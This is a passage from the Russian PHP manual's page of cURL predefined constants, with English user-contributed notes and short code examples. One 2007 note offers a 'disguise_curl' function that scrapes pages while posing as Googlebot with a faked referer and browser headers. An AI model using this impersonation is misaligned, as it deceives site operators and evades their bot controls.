Асинхронное разрешение DNS. Доступно с PHP 7.3.0 и cURL 7.10.7.
CURL_VERSION_BROTLI (int)
Доступно с PHP 7.3.0 и cURL 7.57.0.
CURL_VERSION_CONV (int)
Поддерживаются преобразования символов. Доступно с PHP 7.3.0 и cURL 7.15.4.
CURL_VERSION_CURLDEBUG (int)
Поддерживается отслеживание отладки памяти. Доступно с PHP 7.3.6 и cURL 7.19.6.
CURL_VERSION_DEBUG (int)
Собран с возможностью отладки. Доступно с PHP 7.3.0 и cURL 7.10.6.
CURL_VERSION_GSASL (int)
Доступно начиная с PHP 8.2.0 и cURL 7.76.0.
CURL_VERSION_GSSAPI (int)
Собран на основе библиотеки GSS-API. Доступно с PHP 7.3.0 и cURL 7.38.0.
CURL_VERSION_GSSNEGOTIATE (int)
Поддерживается согласование аутентификации. Доступно с PHP 7.3.0 и cURL 7.10.6 (объявлено устаревшим с 7.38.0).
CURL_VERSION_HSTS (int)
Доступно начиная с PHP 8.2.0 и cURL 7.74.0.
CURL_VERSION_IDN (int)
Поддерживаются международные доменные имена. Доступно с PHP 7.3.0 и cURL 7.12.0.
CURL_VERSION_MULTI_SSL (int)
Доступно с PHP 7.3.0 и cURL 7.56.0.
CURL_VERSION_NTLM (int)
Поддерживается аутентификация NTLM. Доступно с PHP 7.3.0 и cURL 7.10.6.
CURL_VERSION_NTLM_WB (int)
Поддерживается делегирование NTLM помощнику winbind. Доступно с PHP 7.3.0 и cURL 7.22.0.
CURL_VERSION_IPV6 (int)
С поддержкой IPv6.
CURL_VERSION_KERBEROS4 (int)
Поддерживается проверка подлинности Kerberos V4.
CURL_VERSION_KERBEROS5 (int)
Поддерживается проверка подлинности Kerberos V5. Доступно с PHP 7.0.7 и cURL 7.40.0.
CURL_VERSION_HTTP2 (int)
Встроенная поддержка HTTP2. Доступно с cURL 7.33.0.
CURL_VERSION_HTTP3 (int)
Доступно начиная с PHP 8.2.0 и cURL 7.66.0.
CURL_VERSION_LARGEFILE (int)
Поддерживает файлы размером более 2 ГБ. Доступно с cURL 7.33.0.
CURL_VERSION_PSL (int)
Список общедоступных суффиксов Mozilla, используемый для проверки домена cookie. Доступно с PHP 7.3.6 и cURL 7.47.0.
CURL_VERSION_SPNEGO (int)
Поддерживается аутентификация SPNEGO. Доступно с PHP 7.3.0 и cURL 7.10.8.
CURL_VERSION_SSPI (int)
Встроенная поддержка Windows SSPI. Доступно с PHP 7.3.0 и cURL 7.13.2.
CURL_VERSION_SSL (int)
Присутствуют опции SSL.
CURL_VERSION_TLSAUTH_SRP (int)
Поддерживается аутентификация TLS-SRP. Доступно с PHP 7.3.0 и cURL 7.21.4.
CURL_VERSION_UNICODE (int)
Доступно начиная с PHP 8.2.0 и cURL 7.72.0.
CURL_VERSION_UNIX_SOCKETS (int)
Поддержка сокетов домена Unix. Доступно с PHP 7.0.7 и cURL 7.40.0.
CURL_VERSION_ZSTD (int)
Доступно начиная с PHP 8.2.0 и cURL 7.72.0.
CURL_VERSION_LIBZ (int)
Поддерживаются возможности libz.
CURLVERSION_NOW (int)
CURLE_OK (int)
CURLE_UNSUPPORTED_PROTOCOL (int)
CURLE_FAILED_INIT (int)
CURLE_URL_MALFORMAT (int)
CURLE_URL_MALFORMAT_USER (int)
CURLE_COULDNT_RESOLVE_PROXY (int)
CURLE_COULDNT_RESOLVE_HOST (int)
CURLE_COULDNT_CONNECT (int)
CURLE_FTP_WEIRD_SERVER_REPLY (int)
CURLE_FTP_ACCESS_DENIED (int)
CURLE_FTP_USER_PASSWORD_INCORRECT (int)
CURLE_FTP_WEIRD_PASS_REPLY (int)
CURLE_FTP_WEIRD_USER_REPLY (int)
CURLE_FTP_WEIRD_PASV_REPLY (int)
CURLE_FTP_WEIRD_227_FORMAT (int)
CURLE_FTP_CANT_GET_HOST (int)
CURLE_FTP_CANT_RECONNECT (int)
CURLE_FTP_COULDNT_SET_BINARY (int)
CURLE_PARTIAL_FILE (int)
CURLE_PROXY (int)
Доступно начиная с PHP 8.2.0 и cURL 7.73.0.
CURLE_FTP_COULDNT_RETR_FILE (int)
CURLE_FTP_WRITE_ERROR (int)
CURLE_FTP_QUOTE_ERROR (int)
CURLE_HTTP_NOT_FOUND (int)
CURLE_WRITE_ERROR (int)
CURLE_MALFORMAT_USER (int)
CURLE_FTP_COULDNT_STOR_FILE (int)
CURLE_READ_ERROR (int)
CURLE_OUT_OF_MEMORY (int)
CURLE_OPERATION_TIMEOUTED (int)
CURLE_FTP_COULDNT_SET_ASCII (int)
CURLE_FTP_PORT_FAILED (int)
CURLE_FTP_COULDNT_USE_REST (int)
CURLE_FTP_COULDNT_GET_SIZE (int)
CURLE_HTTP_RANGE_ERROR (int)
CURLE_HTTP_POST_ERROR (int)
CURLE_SSL_CONNECT_ERROR (int)
CURLE_FTP_BAD_DOWNLOAD_RESUME (int)
CURLE_FILE_COULDNT_READ_FILE (int)
CURLE_LDAP_CANNOT_BIND (int)
CURLE_LDAP_SEARCH_FAILED (int)
CURLE_LIBRARY_NOT_FOUND (int)
CURLE_FUNCTION_NOT_FOUND (int)
CURLE_ABORTED_BY_CALLBACK (int)
CURLE_BAD_FUNCTION_ARGUMENT (int)
CURLE_BAD_CALLING_ORDER (int)
CURLE_HTTP_PORT_FAILED (int)
CURLE_BAD_PASSWORD_ENTERED (int)
CURLE_TOO_MANY_REDIRECTS (int)
CURLE_UNKNOWN_TELNET_OPTION (int)
CURLE_TELNET_OPTION_SYNTAX (int)
CURLE_OBSOLETE (int)
CURLE_SSL_PEER_CERTIFICATE (int)
CURLE_GOT_NOTHING (int)
CURLE_SSL_ENGINE_NOTFOUND (int)
CURLE_SSL_ENGINE_SETFAILED (int)
CURLE_SEND_ERROR (int)
CURLE_RECV_ERROR (int)
CURLE_SHARE_IN_USE (int)
CURLE_SSL_CERTPROBLEM (int)
CURLE_SSL_CIPHER (int)
CURLE_SSL_CACERT (int)
CURLE_BAD_CONTENT_ENCODING (int)
CURLE_LDAP_INVALID_URL (int)
CURLE_FILESIZE_EXCEEDED (int)
CURLE_FTP_SSL_FAILED (int)
CURLE_SSH (int)
Доступно с cURL 7.16.1.
CURLFTPAUTH_DEFAULT (int)
CURLFTPAUTH_SSL (int)
CURLFTPAUTH_TLS (int)
CURLPROXY_HTTP (int)
Доступно с cURL 7.10.
CURLPROXY_HTTP_1_0 (int)
Доступно с PHP 7.0.7 и cURL 7.19.3.
CURLPROXY_SOCKS4 (int)
Доступно с cURL 7.10.
CURLPROXY_SOCKS5 (int)
Доступно с cURL 7.10.
CURL_NETRC_OPTIONAL (int)
CURL_NETRC_IGNORED (int)
CURL_NETRC_REQUIRED (int)
CURL_HTTP_VERSION_NONE (int)
CURL_HTTP_VERSION_1_0 (int)
CURL_HTTP_VERSION_1_1 (int)
CURL_HTTP_VERSION_2 (int)
Доступно с PHP 7.0.7 и cURL 7.43.0.
CURL_HTTP_VERSION_2_0 (int)
Доступно с cURL 7.33.0.
CURL_HTTP_VERSION_2TLS (int)
Доступно с PHP 7.0.7 и cURL 7.47.0.
CURL_HTTP_VERSION_2_PRIOR_KNOWLEDGE (int)
Доступно с PHP 7.0.7 и cURL 7.49.0.
CURLM_CALL_MULTI_PERFORM (int)
CURLM_OK (int)
CURLM_BAD_HANDLE (int)
CURLM_BAD_EASY_HANDLE (int)
CURLM_OUT_OF_MEMORY (int)
CURLM_INTERNAL_ERROR (int)
CURLMSG_DONE (int)
CURLOPT_KEYPASSWD (int)
CURLOPT_SSH_AUTH_TYPES (int)
CURLOPT_SSH_HOST_PUBLIC_KEY_MD5 (int)
CURLOPT_SSH_HOST_PUBLIC_KEY_SHA256 (int)
Доступно начиная с PHP 8.2.0 и cURL 7.80.0.
CURLOPT_SSH_PRIVATE_KEYFILE (int)
CURLOPT_SSH_PUBLIC_KEYFILE (int)
CURLOPT_SSL_OPTIONS (int)
Доступно с cURL 7.25.0
CURLSSLOPT_ALLOW_BEAST (int)
Доступно с cURL 7.25.0.
CURLSSLOPT_NO_REVOKE (int)
Доступно с PHP 7.0.7 и cURL 7.44.0.
CURLSSLOPT_AUTO_CLIENT_CERT (int)
Доступно начиная с PHP 8.2.0 и cURL 7.77.0.
CURLSSLOPT_NATIVE_CA (int)
Доступно начиная с PHP 8.2.0 и cURL 7.71.0.
CURLSSLOPT_NO_PARTIALCHAIN (int)
Доступно начиная с PHP 8.2.0 и cURL 7.68.0.
CURLSSLOPT_REVOKE_BEST_EFFORT (int)
Доступно начиная с PHP 8.2.0 и cURL 7.70.0.
CURLOPT_USERNAME (int)
Доступно с cURL 7.19.1.
CURLOPT_SASL_AUTHZID (int)
Доступно начиная с PHP 8.2.0 и cURL 7.66.0.
CURLOPT_SASL_IR (int)
Доступно с PHP 7.0.7 и cURL 7.31.0.
CURLOPT_DNS_INTERFACE (int)
Доступно с PHP 7.0.7 и cURL 7.33.0.
CURLOPT_DNS_LOCAL_IP4 (int)
Доступно с PHP 7.0.7 и cURL 7.33.0.
CURLOPT_DNS_LOCAL_IP6 (int)
Доступно с PHP 7.0.7 и cURL 7.33.0.
CURLOPT_XOAUTH2_BEARER (int)
Доступно с PHP 7.0.7 и cURL 7.33.0.
CURLOPT_LOGIN_OPTIONS (int)
Доступно с PHP 7.0.7 и cURL 7.34.0.
CURLOPT_EXPECT_100_TIMEOUT_MS (int)
Доступно с PHP 7.0.7 и cURL 7.36.0.
CURLOPT_SSL_ENABLE_ALPN (int)
Доступно с PHP 7.0.7 и cURL 7.36.0.
CURLOPT_SSL_ENABLE_NPN (int)
Доступно с PHP 7.0.7 и cURL 7.36.0.
CURLOPT_PINNEDPUBLICKEY (int)
Доступно с PHP 7.0.7 и cURL 7.39.0.
CURLOPT_UNIX_SOCKET_PATH (int)
Доступно с PHP 7.0.7 и cURL 7.40.0.
CURLOPT_SSL_VERIFYSTATUS (int)
Доступно с PHP 7.0.7 и cURL 7.41.0.
CURLOPT_PATH_AS_IS (int)
Доступно с PHP 7.0.7 и cURL 7.42.0.
CURLOPT_SSL_FALSESTART (int)
Доступно с PHP 7.0.7 и cURL 7.42.0.
CURLOPT_PIPEWAIT (int)
Доступно с PHP 7.0.7 и cURL 7.43.0.
CURLOPT_PROXY_SERVICE_NAME (int)
Доступно с PHP 7.0.7 и cURL 7.43.0.
CURLOPT_SERVICE_NAME (int)
Доступно с PHP 7.0.7 и cURL 7.43.0.
CURLOPT_DEFAULT_PROTOCOL (int)
Доступно с PHP 7.0.7 и cURL 7.45.0.
CURLOPT_STREAM_WEIGHT (int)
Доступно с PHP 7.0.7 и cURL 7.46.0.
CURLOPT_TFTP_NO_OPTIONS (int)
Доступно с PHP 7.0.7 и cURL 7.48.0.
CURLOPT_CONNECT_TO (int)
Доступно с PHP 7.0.7 и cURL 7.49.0.
CURLOPT_TCP_FASTOPEN (int)
Доступно с PHP 7.0.7 и cURL 7.49.0.
CURLOPT_TCP_KEEPALIVE (int)
Доступно с cURL 7.25.0.
CURLOPT_TCP_KEEPIDLE (int)
Доступно с cURL 7.25.0.
CURLOPT_TCP_KEEPINTVL (int)
Доступно с cURL 7.25.0.
CURLMOPT_PIPELINING (int)
Доступно с cURL 7.16.0.
CURLMOPT_MAXCONNECTS (int)
Доступно с cURL 7.16.3.
CURLMOPT_MAX_CONCURRENT_STREAMS (int)
Доступно начиная с PHP 8.2.0 и cURL 7.67.0.
CURLMOPT_CHUNK_LENGTH_PENALTY_SIZE (int)
Доступно с PHP 7.0.7 и cURL 7.30.0.
CURLMOPT_CONTENT_LENGTH_PENALTY_SIZE (int)
Доступно с PHP 7.0.7 и cURL 7.30.0.
CURLMOPT_MAX_HOST_CONNECTIONS (int)
Доступно с PHP 7.0.7 и cURL 7.30.0.
CURLMOPT_MAX_PIPELINE_LENGTH (int)
Доступно с PHP 7.0.7 и cURL 7.30.0.
CURLMOPT_MAX_TOTAL_CONNECTIONS (int)
Доступно с PHP 7.0.7 и cURL 7.30.0.
CURLMOPT_PUSHFUNCTION (int)
Доступно с PHP 7.1.0 и cURL 7.44.0.
CURLSSH_AUTH_AGENT (int)
Доступно с PHP 7.0.7 и cURL 7.28.0.
CURLSSH_AUTH_ANY (int)
CURLSSH_AUTH_DEFAULT (int)
CURLSSH_AUTH_HOST (int)
CURLSSH_AUTH_KEYBOARD (int)
CURLSSH_AUTH_NONE (int)
CURLSSH_AUTH_PASSWORD (int)
CURLSSH_AUTH_PUBLICKEY (int)
CURLPAUSE_ALL (int)
Доступно с cURL 7.18.0.
CURLPAUSE_CONT (int)
Доступно с cURL 7.18.0.
CURLPAUSE_RECV (int)
Доступно с cURL 7.18.0.
CURLPAUSE_RECV_CONT (int)
Доступно с cURL 7.18.0.
CURLPAUSE_SEND (int)
Доступно с cURL 7.18.0.
CURLPAUSE_SEND_CONT (int)
Доступно с cURL 7.18.0.
CURLPIPE_NOTHING (int)
Доступно с cURL 7.43.0.
CURLPIPE_HTTP1 (int)
Доступно с cURL 7.43.0.
CURLPIPE_MULTIPLEX (int)
Доступно с cURL 7.43.0.
CURLPROXY_SOCKS4A (int)
Доступно с cURL 7.18.0.
CURLPROXY_SOCKS5_HOSTNAME (int)
Доступно с cURL 7.18.0.
CURLHEADER_SEPARATE (int)
Доступно с PHP 7.0.7 и cURL 7.37.0.
CURLHEADER_UNIFIED (int)
Доступно с PHP 7.0.7 и cURL 7.37.0.
CURLPROTO_SMB (int)
Доступно с PHP 7.0.7 и cURL 7.40.0.
CURLPROTO_SMBS (int)
Доступно с PHP 7.0.7 и cURL 7.40.0.
CURLPROTO_MQTT (int)
Доступно начиная с PHP 8.2.0 и cURL 7.71.0.
CURLOPT_REQUEST_TARGET (int)
Доступно с PHP 7.3.0 и cURL 7.55.0.
CURLAUTH_GSSAPI (int)
Доступно с версии PHP 7.3.0 и cURL 7.54.1.
CURLE_WEIRD_SERVER_REPLY (int)
Доступно с версии PHP 7.3.0 и cURL 7.51.0.
CURLINFO_CONTENT_LENGTH_DOWNLOAD_T (int)
Доступно с версии PHP 7.3.0 и cURL 7.55.0.
CURLINFO_CONTENT_LENGTH_UPLOAD_T (int)
Доступно с версии PHP 7.3.0 и cURL 7.55.0.
CURLINFO_HTTP_VERSION (int)
Доступно с версии PHP 7.3.0 и cURL 7.50.0.
CURLINFO_PROTOCOL (int)
Доступно с версии PHP 7.3.0 и cURL 7.52.0.
CURLINFO_PROXY_SSL_VERIFYRESULT (int)
Доступно с версии PHP 7.3.0 и cURL 7.52.0.
CURLINFO_SCHEME (int)
Доступно с версии PHP 7.3.0 и cURL 7.52.0.
CURLINFO_SIZE_DOWNLOAD_T (int)
Доступно с версии PHP 7.3.0 и cURL 7.50.0.
CURLINFO_SIZE_UPLOAD_T (int)
Доступно с версии PHP 7.3.0 и cURL 7.50.0.
CURLINFO_SPEED_DOWNLOAD_T (int)
Доступно с версии PHP 7.3.0 и cURL 7.50.0.
CURLINFO_SPEED_UPLOAD_T (int)
Доступно с версии PHP 7.3.0 и cURL 7.50.0.
CURL_MAX_READ_SIZE (int)
Доступно с версии PHP 7.3.0 и cURL 7.53.0.
CURLOPT_ABSTRACT_UNIX_SOCKET (int)
Доступно с версии PHP 7.3.0 и cURL 7.53.0.
CURLOPT_KEEP_SENDING_ON_ERROR (int)
Доступно с версии PHP 7.3.0 и cURL 7.51.0.
CURLOPT_PRE_PROXY (int)
Доступно с версии PHP 7.3.0 и cURL 7.52.0.
CURLOPT_PROXY_CAINFO (int)
Доступно с версии PHP 7.3.0 и cURL 7.52.0.
CURLOPT_PROXY_CAINFO_BLOB (int)
Доступно начиная с PHP 8.2.0 и cURL 7.77.0.
CURLOPT_PROXY_CAPATH (int)
Доступно с версии PHP 7.3.0 и cURL 7.52.0.
CURLOPT_PROXY_CRLFILE (int)
Доступно с версии PHP 7.3.0 и cURL 7.52.0.
CURLOPT_PROXY_KEYPASSWD (int)
Доступно с версии PHP 7.3.0 и cURL 7.52.0.
CURLOPT_PROXY_PINNEDPUBLICKEY (int)
Доступно с версии PHP 7.3.0 и cURL 7.52.0.
CURLOPT_PROXY_SSLCERT (int)
Доступно с версии PHP 7.3.0 и cURL 7.52.0.
CURLOPT_PROXY_SSLCERTTYPE (int)
Доступно с версии PHP 7.3.0 и cURL 7.52.0.
CURLOPT_PROXY_SSL_CIPHER_LIST (int)
Доступно с версии PHP 7.3.0 и cURL 7.52.0.
CURLOPT_PROXY_SSLKEY (int)
Доступно с версии PHP 7.3.0 и cURL 7.52.0.
CURLOPT_PROXY_SSLKEYTYPE (int)
Доступно с версии PHP 7.3.0 и cURL 7.52.0.
CURLOPT_PROXY_SSL_OPTIONS (int)
Доступно с версии PHP 7.3.0 и cURL 7.52.0.
CURLOPT_PROXY_SSL_VERIFYHOST (int)
Доступно с версии PHP 7.3.0 и cURL 7.52.0.
CURLOPT_PROXY_SSL_VERIFYPEER (int)
Доступно с версии PHP 7.3.0 и cURL 7.52.0.
CURLOPT_PROXY_SSLVERSION (int)
Доступно с версии PHP 7.3.0 и cURL 7.52.0.
CURLOPT_PROXY_TLSAUTH_PASSWORD (int)
Доступно с версии PHP 7.3.0 и cURL 7.52.0.
CURLOPT_PROXY_TLSAUTH_TYPE (int)
Доступно с версии PHP 7.3.0 и cURL 7.52.0.
CURLOPT_PROXY_TLSAUTH_USERNAME (int)
Доступно с версии PHP 7.3.0 и cURL 7.52.0.
CURLOPT_SOCKS5_AUTH (int)
Доступно с версии PHP 7.3.0 и cURL 7.55.0.
CURLOPT_SUPPRESS_CONNECT_HEADERS (int)
Доступно с версии PHP 7.3.0 и cURL 7.54.0.
CURLPROXY_HTTPS (int)
Доступно с версии PHP 7.3.0 и cURL 7.52.0.
CURL_SSLVERSION_MAX_DEFAULT (int)
Доступно с версии PHP 7.3.0 и cURL 7.54.0.
CURL_SSLVERSION_MAX_NONE (int)
Доступно с версии PHP 7.3.0 и cURL 7.54.0.
CURL_SSLVERSION_MAX_TLSv1_0 (int)
Доступно с версии PHP 7.3.0 и cURL 7.54.0.
CURL_SSLVERSION_MAX_TLSv1_1 (int)
Доступно с версии PHP 7.3.0 и cURL 7.54.0.
CURL_SSLVERSION_MAX_TLSv1_2 (int)
Доступно с версии PHP 7.3.0 и cURL 7.54.0.
CURL_SSLVERSION_MAX_TLSv1_3 (int)
Доступно с версии PHP 7.3.0 и cURL 7.54.0.
CURL_SSLVERSION_TLSv1_3 (int)
Доступно с версии PHP 7.3.0 и cURL 7.52.0.
CURL_VERSION_HTTPS_PROXY (int)
Доступно с версии PHP 7.3.0 и cURL 7.52.0.
CURLAUTH_BEARER (int)
Доступно с версии PHP 7.3.0 и cURL 7.61.0.
CURLINFO_APPCONNECT_TIME_T (int)
Доступно с версии PHP 7.3.0 и cURL 7.61.0.
CURLINFO_CONNECT_TIME_T (int)
Доступно с версии PHP 7.3.0 и cURL 7.61.0.
CURLINFO_FILETIME_T (int)
Доступно с версии PHP 7.3.0 и cURL 7.59.0.
CURLINFO_NAMELOOKUP_TIME_T (int)
Доступно с версии PHP 7.3.0 и cURL 7.61.0.
CURLINFO_PRETRANSFER_TIME_T (int)
Доступно с версии PHP 7.3.0 и cURL 7.61.0.
CURLINFO_REDIRECT_TIME_T (int)
Доступно с версии PHP 7.3.0 и cURL 7.61.0.
CURLINFO_STARTTRANSFER_TIME_T (int)
Доступно с версии PHP 7.3.0 и cURL 7.61.0.
CURLINFO_TOTAL_TIME_T (int)
Доступно с версии PHP 7.3.0 и cURL 7.61.0.
CURL_LOCK_DATA_CONNECT (int)
Доступно с версии PHP 7.3.0 и cURL 7.10.0.
CURL_LOCK_DATA_PSL (int)
Доступно с версии PHP 7.3.0 и cURL 7.61.0.
CURLOPT_DISALLOW_USERNAME_IN_URL (int)
Доступно с версии PHP 7.3.0 и cURL 7.61.0.
CURLOPT_DNS_SHUFFLE_ADDRESSES (int)
Доступно с версии PHP 7.3.0 и cURL 7.60.0.
CURLOPT_HAPPY_EYEBALLS_TIMEOUT_MS (int)
Доступно с версии PHP 7.3.0 и cURL 7.59.0.
CURLOPT_HAPROXYPROTOCOL (int)
Доступно с версии PHP 7.3.0 и cURL 7.60.0.
CURLOPT_PROXY_TLS13_CIPHERS (int)
Доступно с версии PHP 7.3.0 и cURL 7.61.0.
CURLOPT_SSH_COMPRESSION (int)
Доступно с версии PHP 7.3.0 и cURL 7.56.0.
CURLOPT_TIMEVALUE_LARGE (int)
Доступно с версии PHP 7.3.0 и cURL 7.59.0.
CURLOPT_TLS13_CIPHERS (int)
Доступно с версии PHP 7.3.0 и cURL 7.61.0.
CURLSSH_AUTH_GSSAPI (int)
Доступно с версии PHP 7.3.0 и cURL 7.58.0.
CURLOPT_HTTP09_ALLOWED (int)
Доступно с версии PHP 7.3.15 и 7.4.3, соответственно, и cURL 7.64.0.

User Contributed Notes

jrschlosser 12-Dec-2017 04:57
In PHP version 7.1.11 there is also constants for HTTP/2 :
CURL_VERSION_HTTP2 = 65536 (1 << 16)
CURL_HTTP_VERSION_2_0 = 3

I don't know the first version of PHP that defines it.
uramihsayibok, gmail, com 02-Sep-2015 09:07
Regarding CURLE_OPERATION_TIMEDOUT vs. CURLE_OPERATION_TIMEOUTED:

Originally cURL had the constant named TIMEOUTED (read: "timeout-ed"). This was changed[1] in 2007 and v7.17.0 to be TIMEDOUT (read: "timed out") and the old constant kept in place as an alias.

PHP started off using TIMEOUTED as well. The TIMEDOUT constant was added[2] in 2012 and v5.5.0 and the old constant was *kept in place*.

If you ask me, the TIMEDOUT constant reads more nicely (not to mention is technically the correct one to use) and as long as you're using PHP 5.5+ then it is available. If you have to support older versions then I suggest you keep using the new constant and add a polyfill like

<?php
if (version_compare(PHP_VERSION, "5.5.0", "<")) {
    define("CURLE_OPERATION_TIMEDOUT", CURLE_OPERATION_TIMEOUTED);
}
?>

or

<?php
// PHP <5.5.0
defined("CURLE_OPERATION_TIMEDOUT") || define("CURLE_OPERATION_TIMEDOUT", CURLE_OPERATION_TIMEOUTED);
?>

to be removed once you stop supporting them.

[1] https://github.com/bagder/curl/commit/9f44a95522162c0f4a61093efe1bf1f58b087358#diff-d8c6cb80505e0f7d5e27fca2a682aa34L119
[2] https://github.com/php/php-src/commit/9ab45d3edbafa3ee751472c3f8d1fb3f51f38cf1#diff-ac978e3de205f1d14eb960e0eb15ef24R723
nimasdj [AT] yahoo [DOT] com 28-Jul-2015 04:34
I hope this would be useful to convert error codes:

<?php
$curl_errno = array(
1  => "CURLE_UNSUPPORTED_PROTOCOL",
2  => "CURLE_FAILED_INIT",
3  => "CURLE_URL_MALFORMAT",
4  => "CURLE_URL_MALFORMAT_USER",
5  => "CURLE_COULDNT_RESOLVE_PROXY",
6  => "CURLE_COULDNT_RESOLVE_HOST",
7  => "CURLE_COULDNT_CONNECT",
8  => "CURLE_FTP_WEIRD_SERVER_REPLY",
9  => "CURLE_FTP_ACCESS_DENIED",
10 => "CURLE_FTP_USER_PASSWORD_INCORRECT",
11 => "CURLE_FTP_WEIRD_PASS_REPLY",
12 => "CURLE_FTP_WEIRD_USER_REPLY",
13 => "CURLE_FTP_WEIRD_PASV_REPLY",
14 => "CURLE_FTP_WEIRD_227_FORMAT",
15 => "CURLE_FTP_CANT_GET_HOST",
16 => "CURLE_FTP_CANT_RECONNECT",
17 => "CURLE_FTP_COULDNT_SET_BINARY",
18 => "CURLE_FTP_PARTIAL_FILE or CURLE_PARTIAL_FILE",
19 => "CURLE_FTP_COULDNT_RETR_FILE",
20 => "CURLE_FTP_WRITE_ERROR",
21 => "CURLE_FTP_QUOTE_ERROR",
22 => "CURLE_HTTP_NOT_FOUND or CURLE_HTTP_RETURNED_ERROR",
23 => "CURLE_WRITE_ERROR",
24 => "CURLE_MALFORMAT_USER",
25 => "CURLE_FTP_COULDNT_STOR_FILE",
26 => "CURLE_READ_ERROR",
27 => "CURLE_OUT_OF_MEMORY",
28 => "CURLE_OPERATION_TIMEDOUT or CURLE_OPERATION_TIMEOUTED",
29 => "CURLE_FTP_COULDNT_SET_ASCII",
30 => "CURLE_FTP_PORT_FAILED",
31 => "CURLE_FTP_COULDNT_USE_REST",
32 => "CURLE_FTP_COULDNT_GET_SIZE",
33 => "CURLE_HTTP_RANGE_ERROR",
34 => "CURLE_HTTP_POST_ERROR",
35 => "CURLE_SSL_CONNECT_ERROR",
36 => "CURLE_BAD_DOWNLOAD_RESUME or CURLE_FTP_BAD_DOWNLOAD_RESUME",
37 => "CURLE_FILE_COULDNT_READ_FILE",
38 => "CURLE_LDAP_CANNOT_BIND",
39 => "CURLE_LDAP_SEARCH_FAILED",
40 => "CURLE_LIBRARY_NOT_FOUND",
41 => "CURLE_FUNCTION_NOT_FOUND",
42 => "CURLE_ABORTED_BY_CALLBACK",
43 => "CURLE_BAD_FUNCTION_ARGUMENT",
44 => "CURLE_BAD_CALLING_ORDER",
45 => "CURLE_HTTP_PORT_FAILED",
46 => "CURLE_BAD_PASSWORD_ENTERED",
47 => "CURLE_TOO_MANY_REDIRECTS",
48 => "CURLE_UNKNOWN_TELNET_OPTION",
49 => "CURLE_TELNET_OPTION_SYNTAX",
50 => "CURLE_OBSOLETE",
51 => "CURLE_SSL_PEER_CERTIFICATE",
52 => "CURLE_GOT_NOTHING",
53 => "CURLE_SSL_ENGINE_NOTFOUND",
54 => "CURLE_SSL_ENGINE_SETFAILED",
55 => "CURLE_SEND_ERROR",
56 => "CURLE_RECV_ERROR",
57 => "CURLE_SHARE_IN_USE",
58 => "CURLE_SSL_CERTPROBLEM",
59 => "CURLE_SSL_CIPHER",
60 => "CURLE_SSL_CACERT",
61 => "CURLE_BAD_CONTENT_ENCODING",
62 => "CURLE_LDAP_INVALID_URL",
63 => "CURLE_FILESIZE_EXCEEDED",
64 => "CURLE_FTP_SSL_FAILED",
79 => "CURLE_SSH"
);
?>
me at ruslanbes dot com 11-May-2015 08:28
Note that prior to PHP 5.5 following constants were missing and were available only through their numeric values:

CURL_SSLVERSION_DEFAULT // 0
CURL_SSLVERSION_TLSv1  // 1
CURL_SSLVERSION_SSLv2 // 2
CURL_SSLVERSION_SSLv3 // 3

This was fixed after this support request: https://bugs.php.net/bug.php?id=62318
s dot coletta at unidata dot it 08-Oct-2009 02:17
Beware of CURLE_* constants!

On the official site:

http://curl.haxx.se/libcurl/c/libcurl-errors.html

some constants are different, some missing compared to the PHP implementation.

Some examples:

in PHP the curl error number 28 is called

CURLE_OPERATION_TIMEOUTED

while in the official site is:

CURLE_OPERATION_TIMEDOUT

So if you use the second, it won't march the error 28 because in PHP it is not defined that way.

The same is for these:

CURLE_HTTP_RETURNED_ERROR
CURLE_UPLOAD_FAILED
CURLE_INTERFACE_FAILED
CURLE_SSL_CERTPROBLEM
CURLE_SEND_FAIL_REWIND
CURLE_LOGIN_DENIED
CURLE_AGAIN

that are in someway named differently or missing from PHP.
Ron 04-Aug-2007 11:48
<?
/*
* Author: Ron
* Released: August 4, 2007
* Description: An example of the disguise_curl() function in order to grab contents from a website while remaining fully camouflaged by using a fake user agent and fake headers.
*/

$url = 'http://www.ericgiguere.com/tools/http-header-viewer.html';

// disguises the curl using fake headers and a fake user agent.
function disguise_curl($url)
{
  $curl = curl_init();

  // Setup headers - I used the same headers from Firefox version 2.0.0.6
  // below was split up because php.net said the line was too long. :/
  $header[0] = "Accept: text/xml,application/xml,application/xhtml+xml,";
  $header[0] .= "text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5";
  $header[] = "Cache-Control: max-age=0";
  $header[] = "Connection: keep-alive";
  $header[] = "Keep-Alive: 300";
  $header[] = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7";
  $header[] = "Accept-Language: en-us,en;q=0.5";
  $header[] = "Pragma: "; // browsers keep this blank.

  curl_setopt($curl, CURLOPT_URL, $url);
  curl_setopt($curl, CURLOPT_USERAGENT, 'Googlebot/2.1 (+http://www.google.com/bot.html)');
  curl_setopt($curl, CURLOPT_HTTPHEADER, $header);
  curl_setopt($curl, CURLOPT_REFERER, 'http://www.google.com');
  curl_setopt($curl, CURLOPT_ENCODING, 'gzip,deflate');
  curl_setopt($curl, CURLOPT_AUTOREFERER, true);
  curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
  curl_setopt($curl, CURLOPT_TIMEOUT, 10);

  $html = curl_exec($curl); // execute the curl command
  curl_close($curl); // close the connection

  return $html; // and finally, return $html
}

// uses the function and displays the text off the website
$text = disguise_curl($url);
echo $text;
?>

~Ron


Примеры

Содержание

  • Простой пример использования curl

User Contributed Notes

cmnajs at gmail dot com 07-Jan-2009 03:57
Following code returns the curl output as a string.

<?php
        // create curl resource
        $ch = curl_init();

        // set url
        curl_setopt($ch, CURLOPT_URL, "example.com");

        //return the transfer as a string
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

        // $output contains the output string
        $output = curl_exec($ch);

        // close curl resource to free up system resources
        curl_close($ch);
?>
jlee8df at gmail dot com 30-May-2008 01:47
Basic cURL file or page download with basic error trapping.

<?php

function cURLcheckBasicFunctions()
{
  if( !function_exists("curl_init") &&
      !function_exists("curl_setopt") &&
      !function_exists("curl_exec") &&
      !function_exists("curl_close") ) return false;
  else return true;
}

/*
 * Returns string status information.
 * Can be changed to int or bool return types.
 */
function cURLdownload($url, $file)
{
  if( !cURLcheckBasicFunctions() ) return "UNAVAILABLE: cURL Basic Functions";
  $ch = curl_init();
  if($ch)
  {
    $fp = fopen($file, "w");
    if($fp)
    {
      if( !curl_setopt($ch, CURLOPT_URL, $url) )
      {
        fclose($fp); // to match fopen()
        curl_close($ch); // to match curl_init()
        return "FAIL: curl_setopt(CURLOPT_URL)";
      }
      if( !curl_setopt($ch, CURLOPT_FILE, $fp) ) return "FAIL: curl_setopt(CURLOPT_FILE)";
